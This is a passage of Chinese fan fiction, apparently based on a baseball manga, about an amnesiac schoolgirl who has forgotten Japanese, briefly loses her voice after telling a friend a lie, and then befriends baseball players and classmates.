“抱歉,我好像站在光线下面了。”
我没听懂,但他朝我走了过来,一把拉起了还躺在地上的意思陷入不明信仰狂热的青春期问题少年。
于是我面前就竖起了两堵人墙。
此时,又有一个人来到了天台。
巧的是,这个人我认识,正是国都英一郎。
“阳之本前辈,飞高前辈,还有...有我同学?”
哇,你是在场唯一一个认识所有人并且被所有人认识的人呢,真厉害,国都君。
我举起了右手,示意自己听到了,当作对他的回应。
“原来你们是同学呀。”
“阳之本前辈,有我同学她因为一些事情暂时没办法说日语...”
诶...好像提到我了,但是完全听不懂。
而且我听到了好多敬语。
马萨卡...
这两个人是高年级的前辈吗?
对了,他刚刚报菜名的时候也是一口一个前辈来着。
那这个人...我缓缓转过头,看向被巨人拉起来的问题少年。
要不是时机不对,我现在都想笑出声了,当然是被自己气笑的。
开学第二天,上来就给了高年级的前辈一脚....
我昨天就该转学的。
不,不如说从一开始就不该来这所学校。
于是我的眼睛里失去了高光,整个人透露出一股淡淡的死意。
“有我同学,你不是说...”
国都英一郎发现了我放在一边的便当盒,他突然意识到了什么。
啊...这可真是,双喜临门。
8. 失忆了顺便触发了离奇事件
事情是这样的,为了避免他多想,中午在他找我一起去学生餐厅的时候,我借口说有人提前约了我一起所以就不好意思地放他鸽子了。
但现在孤身一人的我,和一动没动的便当盒,都在戳穿这个谎言。
“啊...这个是...”
是直接承认?还是想个新的谎言去圆上一个谎?
如果直接承认的话,他估计又要问为什么了吧。不知道为什么,我不想选这个选项。
“难道说,这位有我同学其实是和飞高约好了?”
巨人看了看我,又看了看已经像个正常人一样站在一边的一条人。
“飞高前辈...是这样吗?”
我不知道发生了什么,所以只能傻呆呆地站在原地等这三堵墙商量出个结果,再找个人跟我解释。
“嗯?我怎么听不懂你们在说什么?”飞高翔太一脸茫然。
“国都的意思是说,你刚刚是和这位有我同学待在一起吗?”阳之本当向他解释到。
“啊...的确是这样。”飞高翔太点了点头。
“原来如此。”
说完这句话,国都英一郎就不再看我。
我听懂了,但只听懂这句话有什么用?!
完全不知所云啊!
所以我现在到底是被拆穿了还是没有被拆穿?
那个巨人为什么还在对着我微笑,顺带一提仔细一看他脸长得也挺好看的,而且是阳光型的...啊,这个倒不是因为他出场的时候就站在太阳底下闪到了我的眼睛才产生的刻板印象。
不对,重点不是这个。
所以你们都聊了什么?为什么我感觉我开学以来唯一建立的一段人际关系已经岌岌可危了?
这么严重吗?!原来这个谎言在他看来这么严重吗?
...该不会以为我是不想和他一起吃饭才故意那样说的吧。
仔细想想,如果我知道自己刚认识的朋友为了不跟自己一起吃饭还特意撒谎,结果还被自己亲眼拆穿了...
好的,这次真的是我不对,我完全理解他为什么会不开心。
啊啊啊...可是怎么办,我该怎么解释...事到如今,就算如实相告也...
我艰难地咬住下唇,手上的拳头也不自觉地攥紧。
我莫名感觉到一阵烦躁,但最没有资格生气的人明明就是我这个做错事的人。
要不算了吧?
本来他也不是在我择友标准之内的人,之所以会快速成为朋友也只是因为他是个好人而已。而好人跟谁都能做朋友。但与此同时,和他们做朋友也有很多‘禁忌’,就比如——
不能对朋友撒谎。
但我是个习惯性撒谎的人,如果谎言能解决大部分问题,我一定会毫不犹豫地说出一个又一个谎话,而之所以说真话,也只是在某些场合,实话实说更方便而已。
就在我的内心天人交战之时,巨人说话了。
“既然大家都在这里,就一起去餐厅吧?”
听到这句话,国都英一郎又重新看向我。
“有我同学,要一起去餐厅吗?还是...”
“我去!”我甚至答应地有些急切了。
但此刻满怀罪恶感的我,根本无法拒绝这份罪恶感指向的对象提出的任何请求,即使只是看在场面上的邀请。
在去学生餐厅的路上,阳之本当和飞高翔太(国都用手机给我看了两人的名字,如果有汉字的话,我也是能很轻松地记住日本人的名字的)走在前面,我和国都英一郎则并排跟在两人身后。
我想向他解释,但好像也解释不了什么,毕竟事实就是如此,我的确骗了他,而且理由也确实是不想和他一起去餐厅。
可我现在不还是在跟他们一起去餐厅的路上吗?如果把这种想法告诉他,他估计会觉得我在故意耍他吧。
所以我最终还是什么也没说。
他好像也有问题要问我,但可能是碍于还有两位前辈在场,所以他也没有问出口。
于是这一路上,我们谁都没有说话。
不过前面的阳之本当和飞高翔太倒是聊得很开心,准确来说,是开朗的阳之本当开朗地说着一些虽然不知道具体内容但总之开朗就对了的开朗话题,而一旁的飞高翔太则普普通通地应和着,但他的情绪应该没有语气那么低落。
真正低气压的是我们这两位走在后排的人。
我忍不住叹了口气。
“怎么了?”
“没事,就是突然觉得自己很失败。”我下意识回复到。
见到三人同时停下脚步,并且微张着嘴十分惊讶地看着我时,我才反应过来自己把内心真实的想法说了出来。
用的是日语。
但国都英一郎没有问我为什么突然会说日语了,而是问我——
“为什么会这么觉得?”
没什么,只是因为一直学不好日语有点焦虑。
没事,只是有点担心下一次的考试。
只是上课的时候听不懂老师的话所以。
“你还好吗?有我同学?”
他突然变得异常紧张,就好像出问题的...是我一样。
我失去了自己的声音。
校医给出的结论是,可能是因为过度紧张才突然说不出话,可以先喝一些温水舒缓声带肌肉。但如果到放学以后还是没恢复的话,还是要去医院看看。
我点点头,表示自己会遵从医嘱。
离开保健室的时候,国都英一郎还站在门口。
当时我微张着嘴,想说些什么,结果只能发出无意义的气声,并且自己都没有意识到,还是他发现我的情况不对劲。于是他就让两位前辈先去了餐厅,自己则陪着我来了保健室,并且代替不能说话、也不会写日语的我向老师说明了情况,之后还很有隐私意识地退到了门外。
因为没办法发出任何声音,所以面对他关心的眼神,我只能拿出手机——
果然又是好几条来自圭酱的消息。
待会再看吧,现在先打字。
【没什么大问题,老师说喝点温水就好了。】
“真的吗?”
我打字的动作一顿...
这个,的确不算说谎吧。
【如果到放学还没恢复的话,再去医院看看也来得及,不用担心。】
“这样吗...”
就在我以为我们终于能去吃饭了的时候,他突然神情严肃地对我说——
“对不起。”
啊?他道什么歉啊?
【是我问的问题给有我同学造成了压力,所以才会变成现在这样。而且,即使没有发生这样的状况,我问的问题也很不合适,也许有我同学只是随意地感慨,但我却私自对有我同学的事情进行了追问。佐佐木同学说的话,也让我对自己进行了反思。其实,我也做了很多会给有我同学造成困扰的事情,只是我光顾着自己的想法,忽略了有我同学的感受,就像刚刚那样。在天台的时候也是,有我同学是顾虑到了我才答应一起去餐厅的吧,而我当时完全沉浸在了自己的情绪里,却没有意识到自己的反应也给你造成了压力。真的很抱歉。】
这段话,他打了很久,翻译器也反应了很久,而我也看了很久。
于是我在看完这段话后,第一反应居然是...
“好饿。能。先去吃饭吗?”
“抱歉...”
“这个。也等一下再说。走吧。”
再不去餐厅,别说你吃不上饭,我也要没时间吃饭了。
而且比起说不出话,我更担心的是...
眼前突然出现了黑点。
来了。
我下意识往口袋里一摸,拿到我想要的东西后,松了一口气。
顾不得还有人在旁边,或者在路上吃东西不文明这些生存之外的东西,因为再不摄入点糖分,我真的要当场‘去世’了。
想想看吧,比起突然晕倒,到底哪个更尴尬。
于是我果断撕开巧克力的外包装,然后一口咬了下去。
在我默默进食的过程中,走在一边的国都英一郎没有说一句话。
唉,还不如说点什么呢。
比如——怎么走在路上开始吃东西了?而且我也没吃饭啊。
又比如——动作怎么这么熟练啊!
再比如——唔哇,在去吃饭的路上吃‘饭’,真是个专心致志的家伙。
只可惜,这些话大概永远不可能从他嘴里说出来。
等眼前的黑点消散,手脚不再发软,我才叼着剩下那点巧克力,重新拿起手机开始打字。
说实话,有点像在回复工作邮件...一个一个来吧。
【首先,国都你是医生吗?】
他摇了摇头。
【那就对了,连医生都无法判断出我失声的原因,国都为什么能这么肯定呢?】
“抱歉,是我太自以为是了。”
事到如今,我已经懒得打断他的道歉了。
我的素质还没高到听一两句没必要的道歉就接受不能的程度。
【造成现在这种状况的原因究竟是什么,目前还不能确定,所以国都也不要认为完全是自己的责任,当然也没法否认那个问题确实有影响,所以不准再问了哦。】
“嗯,我知道了。”
【然后是佐佐木那家伙。早上的时候你应该也发现了吧?我超——讨厌那家伙的。国都是我的朋友,当然应该站在我这边对吧,所以那家伙说的话,不管是什么,一个字也不要听,不然我会非常生气的。】
“我知道了。”
【最后就是‘困扰’这件事了。关于这个我完全可以确定,不是国都的原因,是我自己给自己造成了困扰,从始至终都是。在天台的时候,看到国都之后我表现地很紧张,是因为内疚。】
【因为我对国都撒谎了。其实没有人约我一起吃饭,是我自己不想和国都一起才故意那么说的,原因也不是因为我讨厌你。这个稍微有点难解释,还是等我恢复声音之后再说吧。但这也不是国都的问题,换作是任何人,我都会这么做。】
【差不多已经说完了。但关于那个问题,我想告诉国都,我知道你不是在故意打探我的隐私,否则在保健室的时候,你也不会突然出去了。至于为什么会问出那样的问题,也许只是词不达意吧。我说完了哦。】
看完我的文字,国都英一郎认真地点了点头。
很好,看来他也认可了我的说法...至少是百分之八十认可吧。
但很快,他又意识到什么。
“不是...跟飞高前辈约好了吗?”
“白色的那个?”
这么说好像有点冒犯,但不知不觉间,我的确放下了许多无用的包袱,仅在他面前。
国都英一郎愣了一下,然后肯定点头。
“不。没有。而且,我完全不认识他。天台。是巧合。我本来。一个人。”
我一口气堵死了所有提问的方向,尽可能用我蹩脚的日语将事情解释地滴水不漏。
正巧,我们已经走到了餐厅,并看见了正在朝我们挥手的阳之本当。
而且...好多人啊!真的好多人啊!
那张饭桌上,除了之前见过的阳之本当和飞高翔太之外 ,还坐着很多体型同样高大的男生,有几个连发型都是一模一样的圆寸,大概都是棒球部的成员。
很好,明天我就有合理的理由不和他一起吃饭了。
我默默看向站在一边的国都英一郎,他大概也想到了同一件事,于是问我要不要跟前辈说一声,我们两个单独坐。
我摇了摇头。
很明显,那边已经帮忙占好位置了,而且还贴心地打好了一份午餐,应该是特意为他准备的。
真是一群好朋友呢。
但要说没有困扰也是不存在的,即使不能完全听懂,但坐在人群中,我还是感受到了许多道炽热、探究、好奇的眼神。
而那些针对国都英一郎的提问,也夹杂着‘交往’‘约会’这类令人哭笑不得的词汇。
但我其实没有那么反感这些问题,倒不是因为我对国都抱有这种想法,而是因为这些都是很正常的、青春期的产物。
而且这也说明他们是在关心他,所以才会好奇。
好在我现在不仅听不懂日语,更是连一个字也说不出来,所以我只是笑着回应每一个向我搭话的人,然后看国都英一郎向他们解释我的情况。
用过午餐,我的精神力才算完全恢复。
回到教室以后,即使很困,我也没有睡觉。
因为我也在想自己到底为什么会在那个时候‘失去声音’。<
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p>那个问题很难回答吗?
没有。
我明明想了很多种合理的回答方式,但话到嘴边却一个字也蹦不出来。
不仅如此,之前那句脱口而出的流利日语也让我很在意。
于是我试着在本子上写下事情的过程:
国都——怎么了?
我——总觉得自己突然很失败。(异常流利的日语)
国都——为什么这么觉得?
我想说:1.因为学不会日语 2.因为考试 3.因为听不懂老师讲课。
问题出在哪,很明显。
一句异常流利的日语,说的时候自己都没意识到。
一句完全说不出口的话,但我有意识地想了很多种说法,而且据国都所说,我当时也是努力想发出声音的。
所以到底为什么呢?
难道是那种越想说什么越不能说?只能在无意识的情况下脱口而出的设定?
那我大概是要当一辈子的哑巴了。
这么想着,我放下了手中的笔,缓缓倒在了课桌上。
有我和诗,已离线。
唉...
趴着趴着,我慢慢闭上了眼睛,然后就睡着了。
这一觉睡得很沉,最后是国都英一郎赶在上课之前拍醒了我,当然,不是那种打棒球的力度。
“谢谢。”我顺口感谢。
紧接着他微微瞪大了眼睛,而我也终于意识到刚刚发生了什么。
“能说话了。”我猛地从桌上坐直身子,因为剧烈动作产生的静电使头发产生了些许凌乱。
我用松拢的五指从发际线开始随手往后一捋,让那几根不听话的发丝回到了队伍当中。
有我和诗,已重新登录。
“太好了。”我忍不住笑着跟他宣布这个好消息。
“嗯,太好了。”他也笑着回应了我。
看来今天的情况,和昨天恰好相反。
离上课还有几分钟,我想起一件刚刚没来得及做的事情。
于是我拿出手机,点开收件箱——
【今天跟小山表演了paige,但是他的反应好平淡,有点受打击了呢~】
不,看上去完全没有。
但我没有戳穿他,而是选中这一条短信,单独回复——
【加油。】
接下来是第二条,发送时间和刚刚那条就差了几秒。
【唔哇,小山居然还没有放弃拉我去棒球部,看来我以前真的很厉害,但我还是很生气!小山!辜负了我对他的信任!我明明说过不喜欢棒球了!真是的————】
啊...该怎么安慰他呢,虽然圭酱一般自己就能调理好自己,既然这样那就——
【别生气。】
最后一条是几分钟前发送的。
【可恶的小叶流,居然用那个东西、就是那个他哥哥的宝贵藏品来诱惑我!好卑鄙~】
但你一定接受了对吧,而且那个东西那个东西...这么神秘干嘛,不就是——
【AV吗。】
回完消息,我就准备关掉手机等待上课了。
但下一秒,一个电话弹到了我的手机上,我下意识地拒绝,发现打过来的果然是圭酱。
【要上课了。】
发完这个,我就真的关掉了手机。
还好在学校的时候,我的手机全程保持着静音状态。
下午放学以后,我还是没想好到底要加入什么样的社团,体育类划掉,语言类排除,艺术类看上去好像都差不多,属于我不怎么了解,所以也没有什么特别兴趣的类别。
实在不行算了吧,大不了去做义务劳动咯。
路过棒球场的时候,我不再对围观的人群感到好奇,因为昨天发生的一切已经解答了我的疑惑,而且还让我对这些可能看过我突然凌空的人们,产生了恐惧心理。
快走快走快走。
走出校门以后,我才重新点开手机,果然又是一堆新消息。
但这次我直接点开了最新的一条——
【真拿他们没办法,又来棒球部参观了,不过这个手套很帅哦!戴上手套的我帅气double![照片]】
【圭酱的脸一直很好看。】
【嘿嘿嘿,和诗酱从来不说假话呢~话说你们放学了嘛,如果不知道干什么的话可以来小手指找我们哦,这里只有小山和小叶流,还有帅气的我。】
从来...不说假话吗?
仔细一想,从醒来以后开始,我的确很少撒谎了,但我对自己的印象却是一个不怎么诚实的人。
也可能是因为我忘记了日语,连开口说话的机会都变少了,更别说说谎话了。
等等...
我突然从口袋里掏出那张从草稿本上撕下来的纸条,上面记录着我在午睡之前留下的笔记——
我忽略了一个重要的事实。
那两句表现异常的话之间,最大的区别或许并不是‘有意’还是‘无意’,因为无意说出其实是观察到的结论,而有意想说只是一种主观意愿,二者从来都不是同一维度的东西。
“总感觉自己很失败”是真话。
而后想出的三个理由,虽然不能说完全错误,但在考虑到国都英一郎提出的问题——
“为什么会这么觉得?”
也就是此时此刻的我,为什么会发出认为自己失败的感慨。
从提问者的角度来考虑,那么我想说出口的那三种理由,无论哪一种,都不是我说出上一句话的、真正的原因。
原来问题出在这里。
但还是不对劲,昨天上体育课的时候,我不是也对佐佐木等撒谎了吗?而且还不止一个。
明明听到了他叫我,却说没听到。
明明有在偷看他的书,面对他戳穿的事实,我也成功否认了。
...我有点糊涂了。
算了,既然睡个午觉就能恢复,还是先不纠结这个问题了吧。
所以现在去哪?
回家吗?
但回家也不知道干什么嘛。
因为课间除了国都英一郎没人找我说话,而他有时候也会和别人聊天,所以无所事事的我干脆就利用这个时间把为数不多的作业写完了。
【好哦,我来了,你带了薯片吗?】
【有!】
9. 失忆了顺便去了小手指
跟着手机导航,没过多久我就走到了小手指中学的门口。
而棒球场这种场地,在哪都很显眼,也很好找。
但当我走到场边的时候,才发现里面其实不止三个人。
圭酱给我看过他和小山的合照,所以我一眼认出了那个棕色短发的男生就是他口中的小山。
而在他描述范围之外的,是一个正举着棒球棍准备击球的黄色中长发男生,还有一个站在一边围观的红色短发、戴着眼镜的男生。
圭酱正蹲在小山身前,所以他没有发现我。
拿着棒球手套正蓄势待发准备发球的哈鲁酱也没有发现我。
我没有出声打扰。
紧接着,哈鲁酱做了一个非常漂亮的投球姿势——
这小子不说话的话,光看脸和身材,很难不猜测上帝到底给他关了哪扇门,但只要他发出一个音节,发问的人就会坦然释怀。
呼——————砰!
飞速穿过空气的棒球恍若一道白色闪电,似乎要用自己的身影将在空中撕裂出一道裂缝——
而这种速度快到旁观者甚至难以用眼球捕捉的球居然被正正当当地击中、飞出了场外。
“全垒打啊~”圭酱听上去很兴奋。
打出这一球的扎发男生一拽帽檐,摆出了一个虽然我看不懂但大概率是在耍帅的姿势,自信地宣布着什么。
可惜我也听不懂。
他倒是打算就此收手了,只是哈鲁酱没给他这个机会。
看到这一幕我才意识到,两人大概是约定了某种决斗,而刚刚那一球怎么看都是扎发男生的胜利,所以某人不愿意了。
于是他不顾对方的反对,一球又一球地扔了过去。
那个人虽然嘴上说着些大抵是不满的话,但还是一次又一次地配合着他把抛过来的球全都打了出去。
突然,我发现那个站在一边默默围观的红发男生,突然脱起了衣服——
?
??
???
等等,你要干嘛????
顶着这么一张清秀的脸,居然在光天化日之下做这种事嘛?
道德在哪里?底线在哪里?地址...咳咳,没什么。我什么都没说。
好在他只脱了外套就没再脱了,把衣服叠放好放在一旁,他又简单卷了两下裤脚,随后‘嗖’——地一下就冲了出去。
懂了,原来这是个才艺展示环节。
跑到场内后他还刹了下车,在原地站定后才淡定地伸手接住从空中落下的球,紧接着抛出——
球在地上砸了一下之后才被哈鲁酱的棒球手套接住。
此时他们已经都聚到了场地中间,隔着一大段距离,除了看得出哈鲁酱在跟两人说话之外,也不知道具体发生了什么。
没过多久,那两个人就背着背包转身离开,圭酱他们三个也回到了场边。
我站的位置刚好是在铁丝网的门口,猜到他们差不多已经结束了以后,就打算进去找人。
两个先走到门边的人惊讶地看了我一眼,我猜大概是因为我穿的这身格格不入的帝德校服。
见我始终直视着他们身后的方向,他们的表情突然变得有些不妙,下一秒——
“和诗酱!你来了~,来了很久吗?刚刚有没有看到我的表现!”
抱歉,我只看到你蹲在那边。
“和、和诗酱?!”扎发男生和红毛大惊失色,声音都有些磕绊。
我一边抬手向往这边走来的圭酱打招呼,一边疑惑地看向反应奇怪的两人,难道说...
“我们,认识吗?”
“不、不是...我们应该不认识。”扎发男磕磕巴巴的说。
“没、没错。”红毛故作镇定地推了推眼镜,这让我想起一个讨厌的家伙,但我不会‘恨屋及乌’,更何况他们还是圭酱跟哈鲁酱的朋友。
“没有很久。看到了。”我一板一眼地回答道,然后发现有两个人看我的眼神有点奇怪。
...感觉要被当成智障了。
“圭酱。解释。”我开始向在场跟我熟悉程度最高同时最具备语言能力的圭酱求助。
但他显然缺乏一点基本的理解能力。
“这位是葵酱,他叫瞬平哦。”
“喂,你在乱说些什么?!怎能这么跟女孩子介绍我的名字,会被当成轻浮男——”扎发突然炸毛。
“葵酱。”
“...你好,和...和...”他似乎有点叫不出我的名字。
“啊,是有我同学吧,经常听要君和清峰君提起你。我是...”小山和传闻中一样善解人意。
“小山,我看过,照片。”
“是、是吗!请多指教!”他突然站得很直。
“我也是。”我点了点头。
就在我跟小山和葵酱说话的时候,红毛突然对着圭酱说了些什么:
“要君,这位有我同学,是不是...”
“和诗之前出过车祸,醒来以后就不会说日语了。”哈鲁酱一边捏着不知道从哪变出来的握力器,一边向红毛解释。
“啊,原来是这样,难怪她说话是这种风格。”红毛眼镜仔恢复了一开始的淡定。
“瞬平。”我突然想起还有一个人没打招呼。
“...有我同学,你还是叫我的名字吧,这种叫法会让别人误会的。”他又推了推眼镜,看来这副眼镜架的质量不怎么样。
他说的句子太长,句式也不算特别简单,所以我没听懂他说了什么。
为了表达我的疑惑,我缓缓将脑袋歪向一侧。
“抱歉,我忘记你...总之,会误会的,名字。”他试图向我解释。
“瞬平。不是。你的名字?”我回正了头,但还是不懂他说的误会是什么意思。
“不,不是这个误会。”
那还有什么误会?我百思不得其解。
“难道,你们,不是朋友?”难道是误会他们之间的关系了?
“我们是?”
“你、葵酱、小山、圭酱和哈鲁酱,你们,不是朋友吗?”
“哈,当然不——”
“抱歉,我误会了。那我们,也不会,是朋友。名字,不叫了。”我似乎理清了局面。
“倒也用不着道歉...嘛,之前不是,但现在,勉强也...算半个吧。”
“瞬平。”那就可以叫名字了。
“嗯、嗯...”他又又又在推眼镜,所以其实只是习惯性的动作对吧?
很快,我发现了事情有些猫腻,于是我转而看向全程站在旁边围观我和瞬平的对话,自己却一言不发的几人——
“你们,为什么,不说话?”
“哦!就是觉得和诗酱和千早说话很有意思,interesting!”圭酱看上去很开心。
但我突然意识到了一个问题——
“千早...是谁?”
“噗...哈哈哈哈....”葵酱突然捂着嘴,笑出了声音,虽然他已经努力在抑制自己的笑声了,但可惜没有成功。
不行,我实在理解不了小手指的人类生态,于是我开始寻求熟人的庇护。
我默默走到暂时看上去人畜无害的哈鲁酱身边,和这些奇怪的人保持着一定的距离。
“所以在有我同学心里,清峰君才是更容易相处的那个嘛?好神奇啊。”小山说了一段我听不懂的话。
然后圭酱说想去附近的一家游戏厅,他想去玩那里面的夹娃娃机,我和哈鲁酱都没有意见,显然,我们一个很闲,一个习惯了跟着圭酱四处溜达。
只是没想到小山也被圭酱勾着脖子强行拉进了我们的队伍。
但葵酱和瞬平(我知道千早是他的姓氏了,但瞬平这个名字发音更方便)没跟我们一起,而是像他们原本打算的那样,就这么背着包离开了。
于是就变成了我们一行四人去往游戏厅。
进入游戏厅后
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,我们就直奔抓娃娃机所在的区域,这里的机器种类很丰富,不仅有各式各样的毛绒和布偶,还有各种手办、摆件以及...
零食。
好了,我决定了,我要抓这个。
哈鲁酱也走到了我身边,看来比起那些漂亮的物件,他也对吃进嘴里的东西更感兴趣。
于是当我们结束战斗,在门口会和的时候,我和哈鲁酱一人抱着一堆零食,而圭酱和小山则抱着两只棉花玩偶。
“那个...有我同学,这个还是送给你吧。”
原来小山不喜欢这个啊,看来是为了陪圭酱才一起抓的,他可真是个好人。
于是我接过他递来的玩偶,是一只白白胖胖,但总感觉很嚣张的棉花兔子。
我莫名觉得哈鲁酱和它挺像的。
作为谢礼,我也将怀里的一大堆零食分了一部分给他。
“哇...谢谢你。”
我冲他笑了笑,然后看见他的耳朵逐渐变红了。
可能是游戏厅里太热了吧。
临走之前,我成功加上了小山的联系方式,这下我的通讯录里就有五个人了。
但我突然想到我好像没有加过任何同校学生的联系方式。
就连我在学校唯一的朋友国都英一郎也没有。
明天再问问他吧。
第二天醒来的时候,我照例抓上一堆零食放进口袋以备不时之需,然后就向学校走去。
路上又碰见了佐佐木等。
好不容易一整天都没有碰上他来着。
“早上好,有我同学。”
“哦。”
“很冷淡诶...讨厌我?跟国都君说的一样。”
“嗯。”我现在连装都懒得装了。
“诶~为什么?I didn''t do anything too bad to you, did I?(我没有对你做特别过分的事吧?)”
“你有。”
“什么时候?”
“前天。下午。棒球场。”我的耐心即将耗尽。
“Does that matter so much to you because...国都君?”
跟他有什么关系?
“I don''t know what you''re talking about.(听不懂你在说什么)”
终于到教室了。
一进教室,我就目标明确地直奔自己的座位,成功摆脱名为佐佐木等的诅咒。
但我还是忍不住思考和这个人有关的问题——
难道以前真的对他做过很过分的事情?
是欺负过他还是当众让他下不来台?
不然他怎么像电视剧里那种热衷于给主角制造麻烦的前男友一样...
等等。
不会是这种展开吧?
对了,说起来他以前是怎么认识我的啊,我不是上的女校吗?
糟糕,越想越觉得有这种可能性,但是不要啊...这种前任,跟案底有什么区别。
“早上好,有我同学。”
“早上好,国都....”我趴在桌子上,有气无力的回应到。
不用回头也知道跟我打招呼的人是谁,因为在这个班上,和我说过话的一共就只有两个人,而另一个...另一个不提也罢。
“发生什么事了吗?”
“啊,没什么,就是突然想到自己可能有一个拿不出手又麻烦得很的前男友。”
...
...
...
我突然从桌上坐起,一脸呆滞地看向神色复杂的国都英一郎:
“刚刚我又...”
他点了点头,复而犹豫着开口:
“没听有我同学提起过呢。”
“提起什么?”
“...不,没什么。”他似乎意识到了自己说了不合适的话,突然转变了口风。
10. 失忆了顺便撞到了麻烦精
我猜到了他在想什么,于是按照自己的猜测,回答了这个问题。
毕竟我可不想被别人误会有那样一个前任,在我自己都不确定的情况下。
【其实,车祸之后我不仅忘记怎么说日语,也忘掉了以前发生过的事情,所以只是猜测啦,至于到底有没有,说实话我自己也毫无头绪。】
看完我打在手机上的字后,国都英一郎一脸认真地表示自己知道了,然后我莫名发现他的嘴角出现了一个几乎微不可见地、但又确实存在的小小的弧度,向上的弧度。
应该是看错了吧?
【国都觉得一个人在什么情况下会对另一个人念念不忘呢,呃...不怎么友善的那种。】
“是说佐佐木同学吗?”
我重重地点了点头。
【我之前不是念的女校吗?所以实在搞不懂为什么会认识他,而且从他的表现来看,应该还发生了一些不愉快的事情...】
“有我同学...很在意佐佐木同学的看法吗?”
【在意也说不上吧...但是现在在班上我就认识你和佐佐木两个人,就这么两个人说不定还被另一个人怨恨着,那我也太惨了吧...而且,如果其中有什么误会,要是能顺理成章地解开也不用被他揪着不放了。】
看完我递过去的手机,他也开始在上面打起了字。
【关于有我同学和佐佐木同学的事情,我从其他人口中听到了一些...】
然后我就从国都英一郎打出的文字中了解到了自己和‘佐佐木等’之间的纠葛。
这种竞赛...应该会有报导吧?既然都有正式的颁奖和合照环节的话。
于是我开始在手机上搜索近几年的学科竞赛报道,再把自己和佐佐木等的名字当作关键词后,很快就搜到了一些新闻。
这些新闻都有一个共同点,那就是作为冠军的我,和作为亚军的佐佐木等,有时他也会是第三名,但我永远是第一。
上面还附带了领奖照片,脖子上挂着奖牌,拿着奖杯的我脸上挂着恰到好处的微笑,而站在旁边的佐佐木等则看上去有些紧张,眼镜瞪得大大的,嘴角也有些紧绷。
看时间的话,这张照片大概是国二时期的样子。
另一张照片里的我还是一样,但佐佐木等似乎在短短一年间成熟了不少,神态放松了一些,但也变得更像现在的他了...还不如那个青涩的小鬼。
看完这些报道,国都英一郎的眼神变得有些难以言喻,但我没有发现。
因为我已经完全沉浸在自己在原来什么亏心事都没做只是用实力压制了讨厌的佐佐木等三年然后被他记恨的喜悦当中了。
误会?什么误会?完全没有误会!
他想讨厌我就继续讨厌吧,这里有0个人在意。
就在我准备在国都英一郎面前表示自己再也不会在乎佐佐木等这种败犬行为的时候,他说话了:
“其实,我能理解佐佐木同学的心情。尽管不认同他的做法...”
听到这句话,情商还没有随理智一起出走的我乖乖闭上了自己抹了蜜的小嘴。
好险,差点就要误伤他了。
【能理解佐佐木的心情?】
下一秒,我就开始后悔自己没能听出国都的言外之意。
还能是什么,当然是作为败者的心情啊。问这么直白,跟当面揭人短处有什么区别...虽然是他自己先提的。
“抱...”
国都英一郎摇了摇头,拒绝了我的道歉。
然后我就听到了一个棒球少年因为碰到了一对天才投捕从此棒球梦碎...不是,是从此下定决心努力成为能配得上他们的伙伴,结果进入了棒球豪强之后发现两人根本不在而是去了不知名都立,于是他决定用击败他们的方式以示敬意的故事。
听完这个故事,我除了对国都英一郎的努力和高尚人品表示敬佩之外,还发现了两个盲点:
“kaname...kiyomine...好像在哪听过。”
【他们是很有名的选手,也许有我同学那位打棒球的朋友提到过他们。】
不,哈鲁酱从来没在我们面前提起过任何选手的名字,更何况是以这种尊敬的形式,他说起棒球的时候,几乎要把‘老子就是最强的’这几个字写在脸上了。
不过看了他的投球之后,我承认,他在这方面确实有如此骄傲的资本。
“嘛...可能记错了吧。”
我现在心情很好,不太在意这种小事。
顺便也忘了自己再次脱口而出一段流利日语的事情。
中午的时候,我直接向国都英一郎说了自己不习惯和太多陌生人在一起吃饭,而且觉得在教室用午餐也挺有意思的理由拒绝了他的好意。
而且...我还有一件重要的事要做。
午餐时间的教室里,除我之外,也有几个带了便当来学校的女孩子。
我留意过了,虽然她们在上课的时候表现地很认真,但如果有时候不小心和我对上眼神,也会和善地微笑颔首。
而且她们之间的氛围也还蛮不错的。
要是愿意带我一个就更不错了。
没错,在开学的第二天,我决定主动出击,毕竟总这么下去也不是办法。
于是我带上自己准备好的日语交友模板和珍藏许久的各种口味的夹心巧克力来到了她们面前。
但即便如此,我还是有些忐忑,毕竟自我有记忆以来,还从来没有主动跟女孩子搭讪过。
可能因为从我醒来到现在,也才过去不到两个月。
“那个...”
“啊,是有我同学,有什么事...”见我说得有些艰难,一个绑着双马尾的女生主动开启了话题。
“要一起嘛?午餐。”短发女生看到了我手上的便当,大方地发出了邀请。
另外一位长头发的女生也友好地看着我。
妈妈...这里也有心软的神。好多。
“嗯!”我超用力的点头。
坐下来后,我们交换了名字。
双马尾的女生叫安藤杏奈,短发女生是水野结衣,看上去更腼腆的是小泉莉绪。
聊天过程中,我终于得知了自己这几天没人搭理的真相。
因为帝德的学生大多成绩优秀,其中不乏同样参加过学科竞赛的同学,而‘有我和诗’这个名字在他们之中也并不陌生,所以在我不知道的时候,其实有很多已经单方面认识了我的人。
“诶...那为什么,没人,说话呢?”
“...大概是害怕吧。”
“害怕?我吗?”难道我以前是那种看上去好说话,但是如果有人来搭讪就会用‘死一边去’来回应的人吗?
【一方面是因为曾经的有我同学给人一种不好接近的感觉,当然这不是你的问题。面对那种太厉害的人一般人天然就会想要保持一些距离感吧,不管是出于什么样的原因。】
啊,这点我也很赞同。
【另一方面,有我同学不是不会说日语了吗?虽然说还可以用汉语和英语来聊天,但大家应该都不会汉语,而英语的话...主要是第一天上课的时候,有我同学的英语说得太好了,简直像是母语一样,如果对口语不够自信的话,可能怕在你面前露怯吧。】
啊...原来是这个原因,难怪我自我介绍的时候明明特意说明了,但还是没有人跟我说话。
但是...
“不是还有手机吗?”我发出疑惑。
【这就是问题所在了...有我同学,你平时都在用手机跟谁说话?】
“国都...难道是——”我恍然大悟。
【没错,可能大家觉得像有我同学这样的人,要交朋友的话也只会选择国都君、佐佐木君这样的人吧。】
“等等(桥豆麻袋)!”
这盆脏水可不能泼我身上啊!
“我。跟佐佐木。不是朋友。”
“诶?”*3
我目光真挚地看着眼前三人,表示自己说的都是肺腑之言。然后又用翻译器向她们诉说了自己从第一天开始被佐佐木等愚弄、纠缠、差点在学校里社会性死亡的事件。
“那件事原来是真的...”结衣看上去很惊讶“我还以为是谣言呢。”
“什么谣言?”这句话太长了,瓦达西又听不懂了思密达。
“就是...”她向我指了指屏幕上关于我被佐佐木等故意在棒球场边举起来的那段文字。
“现在说...假的。你们。还信吗?”我试图垂死挣扎。
三人齐唰唰地摇头。
【放心吧有我同学,除了目击者,大部分人应该都跟我们一样不太相信这件事,我们也不会说出去的。】
我感激地望向安藤杏奈,几乎要忍不住双手握住她的手。
最后我也成功将通讯列表的联系人数量增加到了八。
